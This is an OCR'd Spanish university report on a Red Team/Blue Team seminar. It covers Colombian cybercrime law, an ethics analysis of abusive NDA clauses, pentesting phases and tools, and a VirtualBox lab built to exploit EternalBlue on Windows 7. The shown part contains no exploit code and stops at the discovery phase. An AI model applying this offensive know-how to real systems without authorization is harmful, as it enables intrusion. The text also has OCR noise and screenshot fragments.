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Resumen

Este informe técnico integra las estrategias desarrolladas por los equipos Red Team y Blue Team
durante el Seminario Especializado, centrado en la simulacion de ataques y respuestas dentro de
una infraestructura TI virtualizada. A lo largo de las etapas previas se abordaron aspectos
normativos colombianos sobre delitos informaticos, principios éticos del ejercicio profesional y
procedimientos técnicos de pentesting ofensivo y defensivo. El Red Team llevé a cabo un ataque
dirigido a una maquina Windows 7 vulnerable al exploit EternalBlue (MS17-010), utilizando
herramientas como Metasploit Framework, lo que permiti6 obtener control remoto del sistema.
Este ejercicio evidencio la criticidad de no aplicar parches y mantener servicios obsoletos
activos. En respuesta, el Blue Team actu6 conforme al modelo de gestion de incidentes NIST SP
800-61 Rev. 3, ejecutando medidas de contencion y recuperacion como la desactivacion del
protocolo SMBvV1, segmentacion de red, actualizacion del sistema y configuracion de reglas de
firewall. Asimismo, se destacaron herramientas de contencion como iptables, pfSense y Fail2Ban
por su efectividad en ambientes limitados en recursos. Se diferencio el rol del Blue Team,
centrado en la defensa continua y proactiva, respecto al equipo de respuesta a incidentes,
orientado a la actuacion puntual ante eventos especificos. Ademas, se explico el valor del Center
for Internet Security (CIS) como guia para implementar controles técnicos reconocidos
internacionalmente, y se resalté el papel fundamental de los sistemas SIEM para correlacionar
eventos de seguridad en tiempo real y facilitar una reaccion coordinada. El analisis conjunto de
estas actividades permitio establecer recomendaciones para endurecer la seguridad
organizacional, fomentar la deteccion temprana de amenazas y promover una cultura
institucional basada en la prevencion, la respuesta eficaz y la mejora continua. Este trabajo

evidencia la necesidad de mantener actualizadas las infraestructuras, adoptar marcos normativos



robustos y garantizar que tanto los equipos ofensivos como defensivos actuen bajo pardmetros

éticos, técnicos y legales en el contexto de la ciberseguridad.

Palabras claves: Ciberseguridad, Intrusion, Infraestructura, Contencion, Incidentes.



Abstract

This technical report integrates the strategies developed by the Red Team and Blue Team during
the Specialized Seminar, focused on simulating attacks and responses within a virtualized IT
infrastructure. Throughout the previous stages, Colombian regulations on cybercrime, ethical
principles of professional practice, and technical procedures for offensive and defensive
pentesting were addressed. The Red Team carried out an attack targeting a Windows 7 machine
vulnerable to the EternalBlue exploit (MS17-010), using tools such as Metasploit Framework,
which enabled remote control of the system. This exercise highlighted the critical risk of failing
to apply patches and keeping obsolete services active. In response, the Blue Team acted in
accordance with the NIST SP 800-61 Rev. 3 incident management model, implementing
containment and recovery measures such as disabling the SMBv1 protocol, network
segmentation, system updates, and configuring firewall rules. Containment tools such as iptables,
pfSense, and Fail2Ban were also highlighted for their effectiveness in resource-limited
environments. The distinct role of the Blue Team—focused on continuous and proactive
defense—was contrasted with that of the incident response team, which is oriented toward
reacting to specific events. Additionally, the value of the Center for Internet Security (CIS) was
explained as a guide for implementing internationally recognized technical controls, and the
essential role of SIEM systems was emphasized for correlating security events in real time and
facilitating a coordinated response. The joint analysis of these activities made it possible to
establish recommendations to strengthen organizational security, promote early threat detection,
and encourage an institutional culture based on prevention, effective response, and continuous

improvement. This work underscores the need to keep infrastructures up to date, adopt robust



regulatory frameworks, and ensure that both offensive and defensive teams operate under ethical,

technical, and legal parameters in the context of cybersecurity.

Keywords: Cybersecurity, Intrusion, Infrastructure, Containment, Incidents.
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Glosario

Analisis de Riesgos: Proceso sistematico y continuo de identificacion, evaluacion y priorizacion
de riesgos en una infraestructura tecnoldgica, con el fin de implementar controles que reduzcan

la probabilidad e impacto de amenazas.

Blue Team: Equipo especializado en defensa cibernética encargado de monitorear, detectar y
responder a incidentes de seguridad para proteger los sistemas, redes y datos de una

organizacion.

Contenciéon: Conjunto de acciones y técnicas disefiadas para limitar la propagacion y el impacto
de un incidente de seguridad, garantizando la integridad y disponibilidad de los sistemas

afectados.

EternalBlue: Exploit que aprovecha una vulnerabilidad critica en el protocolo SMBv1 de
Windows, permitiendo la ejecucion remota de codigo malicioso y control total sobre el sistema

comprometido.

Explotacion: Accion de utilizar una vulnerabilidad existente en un sistema para obtener acceso

no autorizado, ejecutar codigo malicioso o causar dafios a la infraestructura.

Firewall: Dispositivo o software que controla y filtra el trafico de red basado en reglas de

seguridad para prevenir accesos no autorizados y proteger la red.

Hardening: Proceso de reforzar la seguridad de sistemas y aplicaciones mediante
configuraciones seguras, eliminacion de servicios innecesarios y aplicacion de politicas

restrictivas para minimizar vulnerabilidades.
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Metodologias de Pentesting: Conjunto de procedimientos estructurados para llevar a cabo
pruebas de penetracion que simulan ataques reales, identificando y explotando vulnerabilidades

en sistemas informaticos.

Red Team: Grupo de profesionales que realizan simulaciones de ataques ofensivos controlados
para evaluar la seguridad de una organizacion, buscando debilidades y probando la efectividad

de sus defensas.

Respuesta a Incidentes: Conjunto de procesos y protocolos que permiten a una organizacion

gestionar, mitigar y recuperarse de eventos o ataques de seguridad cibernética.

Segmentacion de Red: Técnica para dividir una red en subredes mas pequeias con el objetivo

de controlar el trafico, limitar accesos y contener posibles ataques.

SIEM (Security Information and Event Management): Plataforma que centraliza la
recopilacion, analisis y correlacion de eventos de seguridad en tiempo real para facilitar la

deteccion y respuesta rapida ante amenazas.

Vulnerabilidad: Debilidad o falla en un sistema, software o red que puede ser explotada por

atacantes para comprometer la seguridad de la informacion o recursos.
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Introduccion
El presente informe técnico aborda el analisis y la articulacion de estrategias desarrolladas por
los equipos Red Team y Blue Team en el marco del Seminario Especializado: Equipos
Estratégicos en Ciberseguridad: Red Team & Blue Team. A través de la simulacion de ataques y
respuestas en un entorno virtualizado, se busca profundizar en la comprension de las
vulnerabilidades, la deteccion y la contencion de incidentes de seguridad en sistemas

informaticos.

Este documento presenta una vision integrada que combina aspectos técnicos, normativos
y éticos, con el fin de ofrecer un enfoque so6lido para fortalecer la defensa de infraestructuras TI.
Se pretende también aportar recomendaciones practicas para mitigar riesgos y promover una
cultura de ciberseguridad responsable, alineada con las mejores practicas internacionales y el

marco legal vigente.
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Objetivos

Objetivo general
Formular estrategias de seguridad ofensiva y defensiva en entornos TI, mediante el
analisis ético, técnico y legal de vulnerabilidades, ataques y respuestas en infraestructuras

informaticas simuladas.

Objetivos especificos
Analizar en profundidad el marco legal y ético que regula las acciones de los equipos Red
Team y Blue Team, identificando las implicaciones y responsabilidades que deben considerarse

en el desarrollo de actividades de ciberseguridad dentro de una organizacion.

Evaluar de manera detallada las vulnerabilidades presentes en sistemas informaticos
mediante la aplicacion de metodologias y herramientas especificas de pruebas de penetracion,

con el fin de identificar fallos de seguridad y posibles vectores de ataque.

Implementar y recomendar medidas de defensa, respuesta y recuperacion ante incidentes
informaticos, incluyendo la aplicacion de técnicas de hardening, monitoreo continuo y
utilizacion de herramientas de deteccion para minimizar el impacto de ataques en la

infraestructura tecnoldgica.

Formular recomendaciones técnicas de contencidon y mitigacion de riesgos, basadas en el
analisis de vulnerabilidades especificas en entornos controlados, con el fin de fortalecer la

postura de seguridad desde el enfoque operativo del Red Team y Blue Team.
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Marco legal y técnico de la ciberseguridad en Colombia

En Colombia, el marco legal relacionado con la ciberseguridad, los delitos informaticos y la

proteccion de datos personales ha avanzado significativamente en los ltimos afios. A

continuacion, se describen las principales normas vigentes y sus caracteristicas mas relevantes:

Ley 1273 de 2009: Esta ley introduce un nuevo bien juridico denominado “la proteccion
de la informacion y de los datos™ al Codigo Penal colombiano (Ley 1273 del 2009,
2009). Establece delitos informaticos como el acceso no autorizado a sistemas, la
interceptacion de comunicaciones, la alteracion de datos y el uso indebido de software
malicioso, entre otros.

Ley 1581 de 2012: Regula la proteccion de datos personales en Colombia (Ley 1581 de
2012, 2012). Define principios, derechos y deberes relacionados con el tratamiento de
informacion personal y crea el marco para que los ciudadanos tengan control sobre el uso
de sus datos. También dio lugar a la creacion de la Superintendencia de Industria y
Comercio (SIC) como autoridad de proteccion de datos.

Decreto 886 de 2014: Reglamenta parcialmente la Ley 1581 y establece las condiciones
para la inscripcion de las bases de datos en el Registro Nacional de Bases de Datos
(RNBD) (Presidencia, 2014), asi como las responsabilidades de los responsables del
tratamiento de datos.

Resolucion 2239 de 2024: Emitida por la Superintendencia de Industria y Comercio
(Mintic, Resolucion 2239 de 2024, 2024), esta resolucion establece nuevas disposiciones
técnicas y administrativas para mejorar la proteccion de los datos personales,

especialmente frente a riesgos digitales.
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Resolucion 2238 de 2024: Complementaria a la anterior (Mintic, Resolucion 2238 de
2024, 2024), esta resolucion define los criterios de seguridad minima que deben cumplir
las organizaciones que tratan datos personales, con el fin de fortalecer su infraestructura
tecnoldgica y reducir vulnerabilidades.

Segundo Protocolo Adicional al Convenio sobre Ciberdelincuencia (Convenio de
Budapest): Colombia se adhiri6 a este instrumento internacional para fortalecer la
cooperacion global en la lucha contra los delitos informéticos (Cancilleria, 2022). Este
protocolo busca mejorar la asistencia legal mutua y el intercambio de informacion entre
paises.

Ley 1712 de 2014 (Ley de Transparencia): Aunque esté orientada principalmente al
acceso a la informacion publica, también obliga a entidades del Estado a proteger los
datos personales (LEY 1712 DE 2014, 2014) y a implementar medidas que aseguren la
confidencialidad de la informacion sensible.

CONPES 3854 de 2016: Este documento define la politica nacional de seguridad digital
(CONPES 3854 de 2016, 2016), orientada a fortalecer las capacidades del pais frente a
riesgos en el ciberespacio. Establece estrategias para mejorar la prevencion, deteccion,

respuesta y recuperacion frente a incidentes de ciberseguridad.
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Etapas del Pentesting

En el mundo del pentesting, hay varios estandares y metodologias que ayudan a que las
pruebas se hagan de forma ordenada y completa. Por ejemplo, el PTES (Penetration Testing
Execution Standard) propone una guia clara desde que se inicia el trabajo hasta que se entrega el
informe final (Pentest standard, 2014). También esta el NIST SP 800-115, que es una referencia
importante para hacer evaluaciones de seguridad de forma profesional (Scarfone et al., 2008), y
la Guia de Pruebas de OWASP, enfocada especialmente en aplicaciones web (OWASP, 2020).
Por otro lado, el OSSTMM (Open Source Security Testing Methodology Manual) va mas alla y
considera distintos aspectos, desde la parte técnica hasta la parte humana y fisica, permitiendo

una evaluacion mas completa (Isecom, 2010).

En la fase de planeacion, se define el objetivo de la prueba, los alcances, los permisos y
coémo se va a desarrollar el trabajo. Aunque aqui no se usan herramientas técnicas directamente,

esta parte es clave para no cometer errores legales o técnicos.

Luego, en la fase de descubrimiento, se recolecta toda la informacion posible del sistema
objetivo. Primero se hace el footprinting, que es la recoleccion pasiva de informacion sin
interactuar directamente con el sistema objetivo. Aqui se utiliza ingenieria social, se realizan
busquedas avanzadas en Google, y se revisan las redes sociales como LinkedIn, Twitter y
Facebook, entre otras (Zuluaga Mateus, 2017, p. 35). También se pueden consultar registros
publicos como los whois de dominios (Whois, 2025), DNS vy filtraciones de correos. La idea es
obtener la mayor cantidad de informacion sin alertar al objetivo. Posteriormente se empieza con
el escaneo y enumeracion, donde ya se comienza a interactuar con el sistema, buscando puertos

abiertos, servicios activos y usuarios. Para ello, herramientas como Nmap (Nmap, 2025) o



18

Zenmap son muy utiles para mapear la red y descubrir qué dispositivos estan conectados, ademas

de identificar servicios que podrian ser vulnerables.

En la fase de ataque, se busca aprovechar las vulnerabilidades encontradas anteriormente.
En primer lugar, se realiza la explotacion, donde se intenta atacar directamente las
vulnerabilidades encontradas usando herramientas como Metasploit (Documentation Metasploit,
2025). Si se logra acceder al sistema, se busca una elevacion de privilegios para ganar mas

control sobre el sistema sobre el sistema.

Por ultimo, en la fase de reporte, se documentan todos los hallazgos, vulnerabilidades
explotadas y el impacto potencial de las mismas. Aqui, herramientas como Burp Suite
(PortSwigger, 2025) o OWASP ZAP (OWASP, 2020) ayudan a crear informes detallados sobre
las aplicaciones web, y en general, se detallan las recomendaciones para mitigar los riesgos

encontrados.
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Herramientas

Metasploit

Es una herramienta que se usa principalmente para la explotacion de vulnerabilidades
(Documentation Metasploit, 2025). Es bastante conocida porque facilita la automatizacion del
proceso de explotacion, lo que permite a los profesionales de la seguridad acceder a sistemas de
forma controlada. Tiene una base de datos muy amplia con exploits que ayudan a atacar
diferentes sistemas y aplicaciones. La usaria especialmente en la fase de explotacion ya que me

permite realizar pruebas rapidamente con diversas opciones disponibles.

Nmap

Es una de las herramientas que mas se utilizan al principio de un pentesting, durante la
fase de reconocimiento (Nmap, 2025). Nmap sirve para descubrir dispositivos en una red, ver
qué puertos estan abiertos y qué servicios estan en ejecucion. Ademas, me proporciona
informacion sobre las versiones de software, lo cual es util para encontrar vulnerabilidades

conocidas en esos Servicios.

Burp Suite

Es una plataforma que se usa principalmente cuando se hacen pruebas de seguridad en
aplicaciones web (PortSwigger, 2025). Esta herramienta permite interceptar y analizar el trafico
HTTP/HTTPS entre un navegador y un servidor web, lo que es muy util para encontrar
vulnerabilidades como inyecciones SQL, XSS y otros errores comunes en las aplicaciones.

También es muy util para modificar el trafico y realizar pruebas de seguridad mas profundas.

OWASP ZAP (Zed Attack Proxy)
Es otra herramienta gratuita que es muy efectiva para realizar pruebas en aplicaciones

web (Zap Proxy, 2025). Funciona de manera similar a Burp Suite, permitiéndo encontrar
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vulnerabilidades comunes como inyecciones de cddigo. Lo que mas gusta de ZAP es que tiene

una interfaz amigable, por lo que es perfecta para principiantes y expertos.

W3AF

Es una herramienta especifica para evaluar la seguridad de aplicaciones web
(Documentation W3af, 2025). Sirve para encontrar fallos comunes como inyecciones SQL y
XSS, realizando escaneos automaticos que permiten identificar rdpidamente posibles

vulnerabilidades sin necesidad de hacer un analisis manual tan exhaustivo.

ExploitDB

Es una base de datos online que recopila vulnerabilidades y exploits conocidos
(Exploit/DB, 2025). Es 1til cuando se debe buscar informacion sobre exploits especificos para
realizar pruebas de penetracion. Es supremamente util ya que hace posible encontrar codigos de
explotacion para vulnerabilidades especificas y asi evaluar los riesgos de los sistemas o
aplicaciones en los que estoy trabajando. Muy 1til a través de linea de comandos en Kali Linux

con Searchsploit.

CVE (Common Vulnerabilities and Exposures)

Es un sistema que proporciona identificadores Uinicos para vulnerabilidades conocidas en
software y hardware (CVE, 2025). Esta base de datos permite encontrar detalles técnicos sobre
cada vulnerabilidad y seguir las soluciones que se han propuesto para mitigar los riesgos

relacionados con esas vulnerabilidades.
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Instalacion Banco de Trabajo

Para el desarrollo del escenario de practicas Red Team & Blue Team, se configur6 un
entorno virtualizado utilizando VirtualBox, donde se desplegaron dos maquinas virtuales: una
con Kali Linux, que actuara como equipo atacante, y otra con Windows 7, que funcionara como

equipo victima.

La imagen de Kali Linux fue descargada directamente desde el sitio oficial de Kali como
archivo .ISO (Kali, 25), y posteriormente fue montada e instalada manualmente en una maquina
virtual dentro de VirtualBox. Por otro lado, la imagen de Windows 7 fue importada como

archivo .OVA ya preconfigurado, segln las instrucciones del ejercicio.

Las maquinas fueron configuradas para que se encuentren en la misma red interna
(adaptador puente), permitiendo la comunicacion entre ellas mediante direcciones IP locales.
Esta conexion se validé exitosamente mediante comandos como ping entre todas las maquinas y

todas las direcciones posibles.

A continuacion, se detallan las caracteristicas técnicas asignadas a cada maquina virtual:

Kali Linux (atacante):

. RAM asignada: 4096 MB

° CPU: 2 nucleos

o Almacenamiento: 20 GB
. Adaptador de red: Red interna (modo adaptador interno en VirtualBox)
. Sistema operativo: Kali Linux (64 bits)

Windows 7 (victima):



e RAM asignada: 4096 MB

e CPU: 2 ntcleo

e Almacenamiento: 25 GB

e Adaptador de red: Red interna (mismo nombre que el adaptador de Kali)

e Sistema operativo: Windows 7 Ultimate (32 bits)

Las capturas de pantalla que acompanan este informe evidencian tanto el montaje

correcto de las maquinas virtuales como la verificacion de comunicacion entre ellas.

Figura 1

Magquinas instaladas

15 Oracle VirtualBox Manager — O *

File Machine Help
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.~ ES|Seg. DB = General ™| preview
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ﬂg Win7-5E2020-X64 Operating System:  Ubuntu (64-bit)
2 @
@ Powered Off System
&4 | Windows 10 Base Memory: 4096 MB
Processors: 2

M @
&l © Ponered Off Boot Crder: Floppy, Optical, Hard Disk

Acceleration:  Mested Paging, KVM Paravirtualization

6P Kali m— .
/ '-':} Running a: @ Display

Video Memory: 16 MB
Graphics Controller: VMSVGA
Remote Desktop Server:  Disabled
Recording: Disabled m

Storage

Controller: IDE

IDE Secondary Device 0:  [Optical Drive] Empty
Controller: SATA

SATA Port 0: Kalivdi (Mormal, 25.00 GB)

W0 Audio

Host Driver:  Default
Controller:  ICH AC9T

@ Network

Adapter 1:  Intel PRC/1000 MT Desktop (Bridged Adapter, Intel(R) Wi-Fi 6 AX201 160MHz)
I. Configuracion — Red

Nota. Elaboracién propia.
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Figura 2

Ip Kali
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Nota. Elaboracion propia.
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Figura 3

Ip maquina Host
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Nota. Elaboracion propia.
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Figura 4

Ping a Kali desde Host

< C @ I ikipedia.org
KaliLinux & [ harvey@vbox: ~
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Nota. Elaboracion propia.
Figura 5

Ping desde Kali a Host
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Nota. Elaboracién propia.
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Figura 6

Ip Windows 7
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Nota. Elaboracion propia.
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Figura 7

Ping desde Windows 7 a Host
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Nota. Elaboracién propia.
Figura 8

Ping desde Host a Windows 7
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Nota. Elaboracion propia.
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Figura 9

Ping desde Kali a Windows 7
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Nota. Elaboracion propia.
Figura 10
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Etica profesional y analisis de casos criticos
Evidencias de procesos ilegales y no éticos en los anexos 2y 3
Anexo 2
En cuanto al fragmento en el anexo 2 donde se aclara que el contrato fue elaborado por
un abogado que ya no hace parte de la empresa y que fue despedido por cometer actos ilegales,
es un acto negligente que la empresa CyberFort entregue contratos redactados por un abogado

involucrado en actividades ilicitas sin haberlos revisado o auditado.

La falta de revision por parte de la gerencia de los contratos, desde una perspectiva legal
y de cumplimiento, la gerencia est4 fallando en su deber de vigilancia al no asegurar que los este
documento legal cumpla con las normas vigentes. Esto podria incluso exponer a la empresa a
sanciones legales si se encontrara que los contratos violan derechos fundamentales (Funcion

Publica, 1991) de los candidatos.

La prueba de admision de la que se habla en el anexo 2, podria funcionar como una forma
de evaluar las habilidades de los aspirantes, pero teniendo el conocimiento previo de que los
documentos del contrato pueden tener problemas legales debido al actuar del abogado que los
realizo, los aspirantes podrian ser involucrados en actividades ilicitas durante la realizacion de
esta prueba y ademas en caso de encontrar indicios de actividades ilegales dentro de la empresa,
estarian siendo presionados para no realizar las respectivas denuncias tipificado en el articulo

182 del Codigo Penal (Ley 599 del 2000).

Anexo 3
En la primera clausula del anexo 3 donde se describe el objeto del mismo, se prohibe

divulgar procesos ilegales dentro de la empresa, lo que es una violacion directa del deber
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ciudadano de denunciar delitos, y esta accion en la que se ocultan delitos o no se denuncian,
puede constituir encubrimiento tipificado en el articulo 446 del Codigo Penal (Ley 599 del

2000), e incluso puede considerarse complicidad.

En el numeral #2 de la segunda clausula, es ilegal declarar como “confidencial”
informacion que es producto de actividades delictivas violando sistematicamente los articulos 4 y
17 de la Ley de Proteccion de Datos (Ley 1581 de 2012). Aqui la empresa intenta proteger
informacion que no solo no es privada, sino también obtenida mediante delitos, lo cual no puede
ni debe protegerse legalmente bajo un NDA (Non-Disclosure Agreement) (Brafford, 2021, p. 1).

Eticamente, se estaria normalizando el crimen como parte de las operaciones internas.

En el numeral #3 de la cuarta clausula, se prohibe explicitamente la denuncia de delitos
como el espionaje o el robo de informacion, lo cual puede ser considerado obstruccion a la
justicia o complicidad, tipificado en el Cédigo Penal (Ley 599 del 2000). De alli que esta
clausula sea completamente contraria a la ley y atenta contra principios como la responsabilidad
profesional, la ética ciudadana, y el deber de actuar ante hechos ilegales. No solo se pide

silencio, sino que se coacciona al receptor a no cooperar con las autoridades.

En el numeral #4 y #9 de la cuarta clausula, se insiste en que el receptor no debe
denunciar informacion ilegal, un acto legalmente prohibido y éticamente censurable, violando el
articulo 441 del Codigo Penal (Ley 599 del 2000). Asi mismo se refuerza la cultura del silencio,

una caracteristica de organizaciones con practicas poco transparentes o corruptas.

El numeral #8 de la cuarta clausula, busca trasladar la responsabilidad penal al receptor,

incluso si solo posee la informacion por cumplir con sus funciones dentro del proceso de
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seleccion. Esta clausula viola el articulo 1523 del Codigo Civil (Codigo Civil Colombiano,

2000).

Finalmente, en la clausula octava, se busca eximir totalmente a la empresa de cualquier
responsabilidad y se obliga al receptor a cubrir con abogado privado su defensa, incluso si fue
inducido a recibir o manipular informacion ilegal. Esta clausula puede ser impugnada porque
viola el articulo 14 del Codigo Sustantivo del Trabajo (Cédigo Sustantivo del Trabajo, 2025), y
¢ticamente representa una manipulacion del desequilibrio de poder en un contrato laboral

disfrazado de “proceso de seleccion”.

Articulos Vulnerados Ley 1279 del 2009
La primera clausula segunda donde se pretende proteger informacion obtenida a través de

delitos, vulnera los siguientes articulos (Ley 1273 del 2009):

e Articulo 269F (Violacion de datos personales): Si esa informacion proviene de fuentes
ilegales, su proteccion contractual no es valida y su uso es delictivo.

e Articulo 269H (Circunstancias de agravacion punitiva) numeral 3: Donde la empresa se
debe haber aprovechado de la confianza o el vinculo contractual para con otra
organizacion para tener esta informacion. Numeral 5 ya que estaria obteniendo provecho
para si mismo. Y numeral 8 ya que la empresa es la responsable de la administracion de
la esta informacion.

e Articulo 2691y 2691: Si se usaron medios informaticos para obtener activos o

informacion, también se configuran delitos de hurto o transferencia no consentida.

La clausula cuarta numeral 3, donde habla de la prohibicién de denunciar espionaje o

robo de informacion:
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e Articulo 269A (Acceso abusivo): El espionaje puede incluir acceso no autorizado.

e Articulo 269C (Interceptacion de datos): Se podria configurar si hay interceptacion
indebida.

e Articulo 269H: Aplican agravantes si hay beneficio o si se usa la confianza del empleado

para encubrir estos actos.

Clausula cuarta, numeral #3 donde se habla de la prohibicion de denunciar espionaje o

robo de informacion:

e Articulo 269A (Acceso abusivo): El espionaje puede incluir acceso no autorizado.

e Articulo 269C (Interceptacion de datos): Se podria configurar si hay interceptacion
indebida.

e Articulo 269H: Aplican agravantes si hay beneficio o si se usa la confianza del empleado

para encubrir estos actos.

Clausula 4, numerales 4 y 9 Insistencia en no denunciar actividades ilegales, el
encubrimiento de delitos que comprometen sistemas informaticos puede implicar complicidad
(especialmente si se trata de delitos tipificados en los articulos 269A a 269J). El numeral 3 del

Art. 269H agrava la pena si hay confianza depositada por la empresa.

Clausula 4, numeral 8, Trasladar la responsabilidad penal al receptor, Articulo 269H,

numeral 7: Si se usa a un tercero de buena fe como instrumento, se estaria agravando la pena.

Cléausula 8 Eximir totalmente de responsabilidad a la empresa, Articulo 269H, numeral 8:
Si quien incurre en estas conductas administra la informacion, se impone también inhabilidad
profesional. El uso del contrato de NDA para este proposito podria evidenciar dolo contractual y

penal.
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JAplicaria para este Trabajo?

No aceptaria este trabajo por varias razones, aunque la oferta salarial sea bastante
atractiva. Primero, si los procesos en la empresa son poco confiables, esto iria en contra de mi
responsabilidad como profesional en ciberseguridad. Mi trabajo no es solo proteger sistemas,
sino también asegurar la integridad y la confianza en los procesos que gestiono. Si los
procedimientos no son seguros, no puedo comprometerme a trabajar en un ambiente donde la
seguridad y la confianza estan en riesgo, ya que afectaria directamente la proteccion de la

informacion y la privacidad de los usuarios.

Ademas, segiin mi ética profesional y teniendo en cuenta el codigo de ética de COPNIA
(Codigo de Etica, 2003), un ingeniero debe actuar con responsabilidad, transparencia y
honestidad. Aceptar este trabajo sin cuestionar los procesos internos poco confiables seria

comprometer esos principios.

A pesar de la oferta de un contrato vitalicio y un salario atractivo, este dinero no seria
suficiente para el peor de los casos en que llegara a estar privado de la libertad, ademas de las

consecuencias en mi vida profesional, economica y familiar.

Anexo 7 — Escenario 2

En mi opinidn, el caso ocurrido en CyberFort Technologies va en contra de todos los
principios éticos y legales que deben regir al profesional en ciberseguridad. No solamente
superaron los limites en cuanto al alcance que estaba autorizado para la auditoria, sino que
también se cometieron actos que se constituyen delitos informaticos y traicionan por completo la

confianza depositada en la empresa por el cliente, en este caso el estado contratante.
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El hecho de que empleados de CyberFort hayan aprovechado su acceso privilegiado para
recopilar informacion confidencial sin consentimiento no es justificable bajo el argumento
técnico de “seguridad preventiva” violando el articulo 17 de la ley de Tratamiento de Datos (Ley
1581 de 2012). Esa clase de argumentos van en contra del proposito ético de nuestra labor, que
es proteger, no vulnerar. En este caso, lo que hicieron fue basicamente espiar a un cliente que les

habia dado acceso precisamente para que lo protegieran.

Ademas, el hecho de que algunos empleados hayan comercializado esa informacion en la
darknet y con empresas rivales eleva el caso de una falta ética a un crimen con implicaciones
penales muy graves como por ejemplo lo descrito en el articulo 192 del Cédigo Penal (Ley 599
del 2000). En estas actuaciones se pueden encontrar delitos de violacion a la privacidad,
espionaje informatico, uso indebido de informacion sensible, y muy probablemente violacion a

tratados internacionales sobre proteccion de datos y soberania digital.

Ahora tengo mas razones como profesional para no querer formar parte de una empresa
que permite practicas de este tipo. Segun el codigo de ética del COPNIA, todo ingeniero esta
obligado a actuar con honradez, lealtad, y responsabilidad social. Nada de eso se ve reflejado en
este caso. Mas bien se demuestra un uso oportunista y abusivo del conocimiento técnico, lo cual

es justamente lo que el codigo busca prevenir.

Acceso de las Empresas de Ciberseguridad

Las empresas de ciberseguridad deben tener acceso a la informacion sensible del cliente
unicamente hasta el punto que sea estrictamente necesario para cumplir con los objetivos
definidos en el alcance de la auditoria de seguridad contratada, definidos por los contratos

formales, acuerdos de confidencialidad (Brafford, 2021), y politicas éticas claras, alli se debe
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especificar qué tipo de datos pueden ser consultados, como deben ser manejados y qué acciones

estan completamente prohibidas.

Para mitigar que casos como los mencionados en el anexo 7, el principio de minimo
privilegio debe estar presente (Moreno, 2018, p. 4), para que los auditores accedan solo a los
sistemas, archivos o registros que estén directamente relacionados con los objetivos de la

auditoria.

Ademas de los contratos detallados y acuerdos de confidencialidad, donde se definan
claramente los limites del acceso, las consecuencias legales ante una infraccion, y las medidas de
proteccion de datos requeridas, mencionados anteriormente, también se deberian implementar los
siguientes puntos de control para evitar que el acceso a la informacion sea usado de manera

indebida:

e Registro y monitoreo de actividades de los auditores durante todo el proceso, para que
cada accion quede trazada y permitir auditorias internas posteriores para verificar que no
se haya sobrepasado el alcance permitido.

e Separacion de funciones y revision por pares, asegurando que el trabajo sea revisado por
otro profesional dentro de la misma empresa (pero independiente del equipo de campo).

e Aunque este punto seria algo subjetivo, se deberia fomentar una cultura organizacional
basada en principios €ticos solidos, teniendo como referencia lo dispuesto por el
COPNIA (Codigo de Etica, 2003), pero siempre teniendo en cuenta que nada de lo

anterior puede sustituir la conciencia ética de cada persona.
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e Debe existir una supervision constante por parte del cliente siempre que sea posible, para
que este pueda participar o estar presente durante los analisis y por lo menos tener una

vision general sobre lo que se estd haciendo.

Mecanismo de Supervision y Control
Las empresas de ciberseguridad deben contar con mecanismos de supervision y control
que detecten y prevengan el uso indebido de herramientas avanzadas como las de analisis

forense.

e Se deben implementar de controles de acceso granulares (Vpn unlimited, 2025), para que
ningin empleado tenga acceso libre a todos los sistemas o herramientas. Esto se puede
lograr usando politicas de "minimos privilegios" (Moreno, 2018, p. 4), donde cada
persona solo acceda a lo estrictamente necesario para su rol.

e Realizar auditorias continuas para que toda actividad que se realice con herramientas
forenses sea revisada regularmente.

e Establecer una revision por pares (peer review) en los procesos mas delicados. Porque es
importante que ninguna persona tenga el control absoluto de todo andlisis forense sin una
revision independiente.

e Deben existir codigos de conducta internos vinculados a sanciones reales. Ya que no es
suficiente mencionar la ética en una capacitacion: deben establecerse mecanismos
disciplinarios claros para quien viole las normas, incluyendo consecuencias legales y
contractuales.

e Abhora bien, algo que muchas veces se pasa por alto y que considero absolutamente
necesario es que la misma empresa de ciberseguridad sea auditada internamente, tanto de

manera periddica como de forma extraordinaria (Trujillo et al., 2024, p. 3895). Es decir,
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que se realicen auditorias sin previo aviso, para verificar si los procesos internos se estan

cumpliendo realmente y no solo cuando hay una supervisién anunciada.

Respuesta de Gobiernos y Organizaciones

Lo primero que deberian hacer es cancelar el contrato y activar cualquier clausula legal
que permita sancionar el incumplimiento contractual. El siguiente paso es abrir una investigacion
judicial (Ley 599 del 2000) y/o administrativa para identificar a los responsables, tanto dentro de

la empresa como en los 6rganos de supervision si correspondiera, aplicando la ley 1273 del

2009.

En paralelo, creo que el gobierno o la organizacion afectada deberia comunicar
publicamente lo ocurrido usando los medios disponibles en él Colcert (Reportar un Incidente,
2025), con transparencia, mostrando que medidas esta tomando para proteger la integridad de sus
sistemas y restaurar la confianza del publico y/o clientes. Como, por ejemplo, reforzar los
controles en la contratacion futura de empresas de ciberseguridad, que incluya auditorias de
antecedentes, revision de practicas internas, historial ético y certificaciones. También
consideraria exigir que las empresas contratadas se sometan a auditorias externas regulares y
aleatorias, que incluyan evaluacion del manejo de datos y cumplimiento de estdndares nacionales

e internacionales, asi como la legislacion actual.

Si es el caso, el Estado deberia revisar y si es necesario actualizar la legislacion vigente
sobre ciberseguridad, espionaje digital y proteccion de datos, para mitigar la ocurrencia de estas
actuaciones ilegales. También podemos encontrar en el documento de CSIRT de la UNAD, Guia
Para la Gestion y Clasificacion de Incidentes de Ciberseguridad (CSIRT, 2024), donde se destaca

la importancia del andlisis de lecciones aprendidas como una herramienta clave para identificar



vulnerabilidades, evaluar la eficacia de la respuesta institucional y reforzar los protocolos de

seguridad.

38



39

Ejecucion de pruebas ofensivas por parte del Red Team

Para las fases del proceso de pentesting, se realizaran de acuerdo al NIST 800-115 (NIST, 2023).

Figura 11

Fases segun NIST

AR —
PLANNING 'HASE

N

FOOTPRINTING

\

DISCOVERY
PHASE < SCANNING & ENUMERATION

\

VULNERABILITY ANALYSIS

ATTACK J
PHASE

s v

REPORTING "HASE

Nota. Tomado de: https://repository.unad.edu.co/handle/10596/17410

Fase Planeacion
Durante esta fase se verifica la documentacion del escenario entregada en el anexo 4 -

escenario 3. En la cual se revisa el enunciado con su hipotesis de vulnerabilidad en la que se



habla de la vulnerabilidad de Windows 7 con una aplicacion insegura y posible exploit por

escalada de privilegios.

Fase Descubrimiento
Inicialmente se procede a verificar las IP de ambas maquinas para proximamente poder

configurar los comandos a usar en Kali Linux.

Figura 12

Ip Windows

% Win7-SE2020-X64 [Running] - Oracle VirtualBox

File Machine View Input Devices Help

= 5

Panel de control Firefox

